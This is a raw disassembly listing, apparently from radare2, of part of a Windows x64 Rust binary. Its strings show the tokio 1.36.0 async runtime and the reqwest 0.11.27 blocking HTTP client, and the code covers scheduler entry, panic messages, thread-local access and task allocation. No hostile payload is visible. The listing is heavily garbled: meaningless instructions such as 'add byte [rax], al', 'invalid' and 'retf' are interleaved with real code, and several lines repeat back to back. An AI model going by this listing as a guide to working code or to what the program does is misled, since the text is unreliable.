mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r12d, byte [rax + 0x11c]
movzx esi, byte [rax + 0x11d]
mov word [rax + 0x11c], 0x8001
mov rax, qword [r13 + 0x10]
mov rcx, r13
call qword [rax]
cmp r12b, 2
je 0x1400c1133
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c1112
test eax, eax
jne 0x1400c1133
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xd0]
mov rdx, rdi
call fcn.1400d4720
mov byte [r13 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r12b
mov byte [rax + 0x11d], sil
cmp qword [rsp + 0x40], 0
jne 0x1400c14f1
mov qword [rsp + 0x40], 0xffffffffffffffff
mov r12, qword [rsp + 0x48]
mov qword [rsp + 0x48], 0
test r12, r12
je 0x1400c14fd
mov qword [rsp + 0x40], 0
dec ebp
jne 0x1400c0fd0
jmp 0x1400c0e10
movabs rax, 0x7fffffffffffffff
cmp qword [rsp + 0x50], rax
jae 0x1400c16b4
mov r8, qword [rsp + 0x38]
add r8, 0x10
cmp qword [rsp + 0x68], 0
jne 0x1400c0e19
mov rcx, rbx
mov rdx, r12
call fcn.1400e8300
jmp 0x1400c0e24
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rsp + 0x80]
mov qword [rax + 0x108], rcx
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x30]
jmp case.0x14002a2ab.1842
test rax, rax
je 0x1400c11fe
mov rcx, qword [rsp + 0x58]
call qword [rax + 0x18]
cmp dword [rsp + 0x128], 2
je 0x1400c1215
lea rcx, [rsp + 0x128]
call fcn.1400c2670
movsd xmm6, qword [rsp + 0xd0]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c1272
test eax, eax
jne 0x1400c17db
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
je 0x1400c16fe
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11e], 2
cmp dword [rax + 0x110], 0
jne 0x1400c12ba
call fcn.1400e3e70
add al, byte [rax]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov dword [rax + 0x110], 1
movlps qword [rax + 0x114], xmm6
lea rcx, [rsp + 0xb8]
call fcn.1400e66e0
mov rax, qword [rsp + 0xb8]
cmp rax, 2
je 0x1400c134d
test rax, rax
je 0x1400c1332
mov rax, qword [rsp + 0xc0]
lock dec qword [rax]
jne 0x1400c134d
lea rcx, [rsp + 0xc0]
call fcn.140068890
jmp 0x1400c134d
mov rax, qword [rsp + 0x38]
lock dec qword [rax]
jne 0x1400c135a
lea rcx, [rsp + 0x38]
call fcn.140069420
jmp 0x1400c135a
mov rax, qword [rsp + 0xc0]
lock dec qword [rax]
jne 0x1400c134d
lea rcx, [rsp + 0xc0]
call fcn.140069420
lea rcx, [rsp + 0x1c0]
call fcn.1400c2760
lea rcx, [rsp + 0x180]
call fcn.1400e66e0
jns 0x1400c13b8
add al, byte [rax]
jns 0x1400c13b8
add al, byte [rax]
mov rax, qword [rsp + 0x180]
cmp rax, 2
je case.0x14002a2ab.1845
lea rcx, [rsp + 0x188]
test rax, rax
je 0x1400c1397
mov rax, qword [rsp + 0x188]
lock dec qword [rax]
jne case.0x14002a2ab.1845
call fcn.140068890
jmp case.0x14002a2ab.1845
mov rax, qword [rsp + 0x188]
lock dec qword [rax]
and al, 0x88
add dword [rax], eax
add al, dh
dec qword [rax]
jne case.0x14002a2ab.1845
call fcn.140069420
cli
dec dword [rdi]
movups xmm0, xmmword [rsp + 0x118]
movups xmm0, xmmword [rsp + 0x118]
movaps xmmword [rsp + 0x200], xmm0
test byte [rax + rax], ah
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0xd8], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0xd8]
movups xmm1, xmmword [rsp + 0xe8]
movups xmm2, xmmword [rsp + 0xf8]
movups xmm3, xmmword [rsp + 0x108]
movaps xmmword [rsp + 0x1f0], xmm3
movaps xmmword [rsp + 0x1e0], xmm2
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
lea rcx, [rsp + 0x1c0]
call fcn.1400f2d80
cmp qword [rsp + 0x1c0], 0
rol byte [rcx], 0
add byte [rax], al
rol byte [rcx], 0
add byte [rax], al
jne 0x1400c1426
xor ecx, ecx
xchg qword [rsp + 0x1e8], rcx
test rcx, rcx
je 0x1400c1426
call fcn.140003d80
sub esp, esi
dec dword [rax - 0x7d]
mov esp, 0x1f024
add byte [rax], al
cmp qword [rsp + 0x1f0], 0
lea rcx, [rsp + 0x1f8]
je 0x1400c144e
clc
add dword [rax], eax
add byte [rbp + rdx + 0x48], dh
mov eax, dword [rsp + 0x1f8]
mov rax, qword [rsp + 0x1f8]
lock dec qword [rax]
dec qword [rax]
jne 0x1400c1461
call fcn.140068890
jmp 0x1400c1461
mov rax, qword [rsp + 0x1f8]
lock dec qword [rax]
test byte [rax + rdi*8], ah
clc
add dword [rax], eax
add al, dh
dec qword [rax]
jne 0x1400c1461
call fcn.140069420
lea rsi, [rsp + 0x200]
mov rcx, rsi
call fcn.1400ece00
mov rax, qword [rsp + 0x200]
lock dec qword [rax]
jne 0x1400c1487
mov rcx, rsi
call fcn.1400059f0
mov rsi, qword [rsp + 0x208]
test rsi, rsi
je 0x1400c14d5
mov rax, qword [rsi + 0x30]
nop dword [rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x1400c14a0
and eax, 0xa
cmp eax, 8
jne 0x1400c14c2
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x10]
lock dec qword [rsi]
jne 0x1400c14d5
mov rcx, qword [rsp + 0x208]
call fcn.140005910
and al, 8
add al, byte [rax]
add al, ch
cmp eax, dword [rsp + rsi*8 - 1]
movaps xmm6, xmmword [rsp + 0x570]
add byte [rax], al
add rsp, 0x588
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140108820
lea rcx, str.core_missing
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140108990
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140108820
cmp qword [rsp + 0x40], 0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rsp + 0x80]
mov qword [rax + 0x108], rcx
jne 0x1400c1595
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x40], 0xffffffffffffffff
test rcx, rcx
jne 0x1400c161f
xor eax, eax
jmp 0x1400c162c
add byte [rax], al
add byte [rax], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14014c580]
scasd eax, dword [rdi]
or byte [rax], al
scasd eax, dword [rdi]
or byte [rax], al
lea r8, [rsp + 0x88]
mov edx, 0x2b
call fcn.1401088e0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
or eax, 0x8c0e4
call fcn.140108820
mov qword [rsp + 0x1a8], rax
and al, 0xa8
add dword [rax], eax
add byte [rax], al
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x1b0], rax
lea rax, [fcn.140012cc0]
test al, 1
add byte [rax], al
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x1b0], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x1b8], rax
lea rax, [0x14014cec0]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
mov qword [rsp + 0xa8], 0
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rsp + 0x88]
call fcn.140108560
call fcn.140003d80
mov rax, qword [rsp + 0x40]
inc rax
pop rsp
invalid
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x30]
call fcn.1400c2670
lea rax, str.a_spawned_task_panicked_and_the_runtime_is_configured_to_shut_down_on_unhandled_panic
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
mov qword [rsp + 0x98], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rsp + 0x88]
call fcn.140108560
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
lea r9, [0x14013f988]
lea r8, [rsp + 0x88]
mov edx, 0x1b
call fcn.1401088e0
ud2
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
call fcn.140108880
mov ecx, 8
mov edx, 0x10
call fcn.1401082c0
mov ecx, 8
mov edx, 8
add byte [rdx + 8], bh
call fcn.1401082c0
call fcn.140111c70
mov ecx, 8
mov edx, 0x70
call fcn.1401082c0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
or byte [rax], al
call fcn.140108820
lea rcx, str.assertion_failed:_c.runtime.get__.is_entered__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontext_runtime.rs
or byte [rax], al
lea r8, [0x14014d350]
mov edx, 0x2e
call fcn.140108630
outsd dx, dword [rsi]
add al, 0
lea rcx, [rsp + 0x398]
call fcn.1400c2760
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadmod.rs
add al, ch
cmp eax, 0x48000010
lea eax, [0x140141e88]
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_park_thread
and byte [rax - 0x73], cl
or eax, 0x8073a
lea r9, [0x14013f988]
lea r8, [rsp + 0x88]
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x88
add byte [rax], al
add byte [rdx + 0x15], bh
lea eax, [rsp + 0x88]
mov edx, 0x15
add byte [rax], al
call fcn.1401088e0
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], 1
mov qword [rsp + 0x1d0], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x1d8], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadmod.rs
lea rcx, [rsp + 0x1c0]
rol byte [rcx], 0
add al, ch
retf
insd dword [rdi], dx
add al, 0
rol byte [rcx], 0
add al, ch
retf
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], 1
mov qword [rsp + 0x1d0], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x1d8], xmm0
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rbx*8], ah
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0x8b8fa
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0x1c0]
call fcn.140108560
lea rax, [0x14014c988]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadlocal.rs
lea r9, [0x14014c580]
lea r8, [rsp + 0x88]
mov edx, 0x46
call fcn.1401088e0
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
lea rcx, [rsp + 0x30]
call fcn.140108560
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0x30]
call fcn.140108560
lea rax, str.not_a_CurrentThread_handle
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermod.rs
lea rcx, [rsp + 0x30]
call fcn.140108560
lea rax, str.expected__CurrentThread::Context_
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
mov qword [rsp + 0x98], 8
movups xmmword [rsp + 0xa0], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rsp + 0x88]
call fcn.140108560
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140108820
lea rcx, str.core_missing
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140108990
mov rcx, r12
call fcn.140003d80
lea rax, [0x14014c988]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadlocal.rs
lea r9, [0x14013f988]
lea r8, [rsp + 0x88]
mov edx, 0x46
call fcn.1401088e0
mov ecx, 7
int 0x29
ud2
lea rdi, [rsi + 0x1b0]
mov qword [rsi + 0x1b8], rdi
lea r14, [rsi + 0x1c8]
mov byte [rsi + 0x1c8], 0
mov qword [rsi + 0x1c0], rdi
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c1e5a
xor ebp, ebp
mov r13d, 0
test eax, eax
jne 0x1400c1eaa
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebp, byte [rax + 0x11c]
movzx r13d, byte [rax + 0x11d]
mov eax, r13d
test bpl, bpl
je 0x1400c1e91
test r13b, r13b
je 0x1400c2529
lea eax, [r13 - 1]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11d], al
mov qword [rsp + 0x28], r14
mov rdi, qword [rdi]
lea rbx, [rdi + 0x1a0]
lea r14, [rdi + 0x80]
lea r15, [rsp + 0x8a0]
mov rcx, r15
mov rdx, rbx
mov r8, r14
call fcn.1400bf6f0
mov r12, qword [rsp + 0x8a0]
cmp r12, 3
je 0x1400c1f06
cmp r12d, 2
je 0x1400c23dc
lock sub qword [rdi + 0x1c0], 2
jae 0x1400c1ff2
mov ecx, 7
int 0x29
ud2
mov ecx, 1
xor eax, eax
lock cmpxchg qword [rdi + 0x110], rcx
test rax, rax
je 0x1400c1f38
cmp rax, 2
jne 0x1400c1fb7
mov rcx, qword [rsp + 0x20]
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
call qword [rax + 0x10]
pause
jmp 0x1400c1fb7
mov rcx, qword [rsp + 0x20]
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
call qword [rax]
mov r8, qword [rdi + 0x100]
mov rcx, qword [rdi + 0x108]
mov qword [rdi + 0x100], rax
mov qword [rdi + 0x108], rdx
xor edx, edx
mov eax, 1
lock cmpxchg qword [rdi + 0x110], rdx
jne 0x1400c1f7f
test r8, r8
je 0x1400c1fb7
call qword [r8 + 0x18]
jmp 0x1400c1fb7
mov r12, qword [rdi + 0x100]
mov r15, qword [rdi + 0x108]
mov qword [rdi + 0x100], 0
xor eax, eax
xchg qword [rdi + 0x110], rax
test r8, r8
je 0x1400c1faa
call qword [r8 + 8]
test r12, r12
je 0x1400c1fb7
mov rcx, r15
call qword [r12 + 8]
lea r15, [rsp + 0x30]
mov rcx, r15
mov rdx, rbx
mov r8, r14
call fcn.1400bf6f0
mov r12, qword [rsp + 0x30]
cmp r12, 2
je 0x1400c2401
cmp r12d, 3
je 0x1400c2426
lock sub qword [rdi + 0x1c0], 2
jb 0x1400c265c
lea rdx, [r15 + 8]
lea r14, [rsp + 0x2d8]
mov r8d, 0x108
mov rcx, r14
call fcn.140106530
mov rdi, qword [r15 + 0x110]
add dword [rax], eax
add byte [rax - 0x73], cl
pushfq
and al, 0x80
add eax, 0xb8410000
or byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x73], cl
pushfq
and al, 0x80
add eax, 0xb8410000
or byte [rcx], al
add byte [rax], al
mov rcx, rbx
mov rdx, r14
call fcn.140106530
mov byte [rsi + 0x1c8], 1
lea r14, [rsp + 0x798]
mov r8d, 0x108
mov rcx, r14
mov rdx, rbx
call fcn.140106530
mov qword [rsp + 0x688], r12
lea rcx, [rsp + 0x690]
mov r8d, 0x108
mov rdx, r14
call fcn.140106530
mov rdx, qword [rsi + 0x1a8]
lea rcx, [rsp + 0x2d8]
lea r8, [rsp + 0x688]
call fcn.1400586c0
mov eax, 1
lock xadd qword [0x140182050], rax
mov qword [rsp + 0x580], rax
mov qword [rsp + 0x410], rdi
mov byte [rsp + 0x570], 0
mov qword [rsp + 0x578], rbx
mov eax, dword [0x140182314]
or al, 0
or al, 0
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c2108
test eax, eax
jne 0x1400c262f
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
lea rcx, [rsp + 0x8a0]
lea rdx, [rsp + 0x2d8]
mov r8d, 0x2a8
call fcn.140106530
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x1400c2623
inc rax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rbx, qword [rcx + 0xd8]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x2d8]
mov r8d, 0x2a8
call fcn.140106530
cmp rbx, 2
je 0x1400c25d7
add al, 0
invalid
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rdx*8], ah
add al, byte [rax]
add byte [rax - 0x75], cl
cmp byte [rax - 0x7b], cl
invalid
invalid
mov rax, qword [rsp + 0x2d0]
mov rdi, qword [rax]
test rbx, rbx
je 0x1400c22a6
fisttp dword [rdi]
test ah, bh
add byte [rax], al
add byte [rbx + 0xc016405], cl
add dword [rax + rax], ecx
mov rcx, qword gs:[0x58]
mov eax, dword [0x140182314]
add dword [rax + rax], ecx
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xe0]
lock inc qword [r14]
jle 0x1400c2612
movzx eax, byte [0x140182310]
mov edx, 0x380
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400c2614
mov r12, rax
and r12, 0xffffffffffffff80
lea rbx, [r12 + 0x80]
mov qword [r12 + 0x78], rax
lea r15, [r14 + 0x68]
mov qword [r12 + 0x80], 0xcc
add byte [rax], al
add byte [rcx - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x7f697
add byte [rax], al
add byte [rcx - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x7f697
mov qword [r12 + 0x90], rax
mov qword [r12 + 0x98], 0
and al, 0x98
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x77], cl
mov ah, 0x24
invalid
add byte [rax], al
add byte [rax], al
and al, 0x98
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x77], cl
mov ah, 0x24
movabs al, byte [0xa824bc8949000000]
add byte [rax], al
mov qword [r12 + 0xa8], rdi
lea rcx, [r12 + 0xb0]
mov al, 0
add byte [rax], al
lea rdx, [rsp + 0x8a0]
mov r8d, 0x2a0
call fcn.140106530
add byte [rax], al
mov qword [r12 + 0xa8], rdi
lea rcx, [r12 + 0xb0]
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
lea rdx, [rsp + 0x8a0]
mov r8d, 0x2a0
call fcn.140106530
xorps xmm0, xmm0
movaps xmmword [r12 + 0x350], xmm0
mov qword [r12 + 0x360], 0
mov rcx, r15
mov rdx, rbx
mov r8, rbx
call fcn.1400654a0
test rax, rax
je 0x1400c239e
add r14, 0x10
mov rcx, r14
mov rdx, rax
xor r8d, r8d
call fcn.1400ec490
jmp 0x1400c239e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xe0]
lock inc qword [r14]
jle 0x1400c2612
movzx eax, byte [0x140182310]
mov edx, 0x380
add byte [rax], al
add byte [rax], al
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400c2614
mov r15, rax
and r15, 0xffffffffffffff80
lea rbx, [r15 + 0x80]
mov qword [r15 + 0x78], rax
mov qword [r15 + 0x80], 0xcc
mov qword [r15 + 0x88], 0
lea rax, case.0x1400b4fd6.30
mov qword [r15 + 0x90], rax
mov qword [r15 + 0x98], 0
mov qword [r15 + 0xa0], r14
add r14, 0x58
mov qword [r15 + 0xa8], rdi
lea rcx, [r15 + 0xb0]
lea rdx, [rsp + 0x8a0]
mov r8d, 0x2a0
call fcn.140106530
xorps xmm0, xmm0
movaps xmmword [r15 + 0x350], xmm0
mov qword [r15 + 0x360], 0
mov rcx, r14
mov rdx, rbx
mov r8, rbx
call fcn.1400654a0
test rax, rax
je 0x1400c239e
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eaa70
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rbx], rcx
je 0x1400c1ddf
mov rax, qword [rbx + 0x10]
mov rcx, rbx
call qword [rax + 0x20]
jmp 0x1400c1ddf
mov rax, qword [rdi + 0x1c0]
cmp rax, 2
jb 0x1400c2444
lea rcx, str.assertion_failed:_self.inner.semaphore.is_idle__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_syncmpscchan.rs
lea r8, [0x140141720]
mov edx, 0x30
call fcn.140108630
mov rax, qword [rdi + 0x1c0]
cmp rax, 2
jb 0x1400c2444
lea rcx, str.assertion_failed:_self.inner.semaphore.is_idle__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_syncmpscchan.rs
lea r8, [0x140141708]
mov edx, 0x30
call fcn.140108630
cmp byte [rdi + 0x1b8], 0
je 0x1400c253a
mov rax, qword [rdi + 0x1c0]
cmp rax, 2
jae 0x1400c253a
lea rdi, [rsp + 0x580]
lea rdx, [rsp + 0x2d8]
mov r8d, 0x108
mov rcx, rdi
call fcn.140106530
mov byte [rsi + 0x1c8], 1
lea rcx, [rsp + 0x798]
mov r8d, 0x108
mov rdx, rdi
call fcn.140106530
mov r15, qword [rsi + 0x1b0]
cmp byte [r15 + 0x1b8], 0
jne 0x1400c2498
mov byte [r15 + 0x1b8], 1
lock or qword [r15 + 0x1c0], 1
lea rcx, [r15 + 0x180]
call fcn.1400f3610
lea rdi, [r15 + 0x1a0]
lea rbx, [r15 + 0x80]
lea r14, [rsp + 0x30]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.1400bf6f0
cmp dword [rsp + 0x30], 1
ja 0x1400c24f5
lock sub qword [r15 + 0x1c0], 2
jb 0x1400c2653
cmp dword [rsp + 0x30], 1
ja 0x1400c24c0
mov rcx, r14
call fcn.1400bf8e0
jmp 0x1400c24c0
lock dec qword [r15]
dec dword [rdi]
jne 0x1400c2507
mov rcx, qword [rsi + 0x1b0]
call fcn.1400bf630
mov rax, qword [rsi + 0x1a8]
lock dec qword [rax]
mov bl, 1
jne 0x1400c2522
lea rcx, [rsi + 0x1a8]
call fcn.1400be6e0
xor eax, eax
jmp 0x1400c25bd
add byte [rax], al
mov rcx, qword [rsp + 0x20]
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
call qword [rax + 0x10]
jmp 0x1400c25b5
adc bl, ch
jnp 0x1400c257b
test bpl, bpl
test ch, ch
mov r14, qword [rsp + 0x28]
je 0x1400c25b5
sub byte [rcx + rsi*2 - 0x75], dh
add eax, 0xbfdca
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c2594
test eax, eax
jne 0x1400c25b5
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea ecx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], 1
mov byte [rax + 0x11d], r13b
test al, 0x1d
add dword [rax], eax
add byte [rcx - 0x3a], al
invalid
mov byte [r14], 3
mov al, 1
mov bl, 3
mov byte [rsi + 0x1d0], bl
add rsp, 0xb48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add dword [rax], eax
add byte [rax - 0x7f], cl
invalid
lea rcx, [rsp + 0x30]
call fcn.1400c2b50
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
xor eax, eax
mov byte [rsp + 0x30], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
lea rcx, [rsp + 0x30]
call fcn.14010dd60
ud2
mov ecx, 0x80
mov edx, 0x300
call fcn.1401082c0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140108880
lea rcx, [rsp + 0x2d8]
call fcn.1400c2b50
mov al, 1
mov byte [rsp + 0x30], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
lea rcx, [rsp + 0x30]
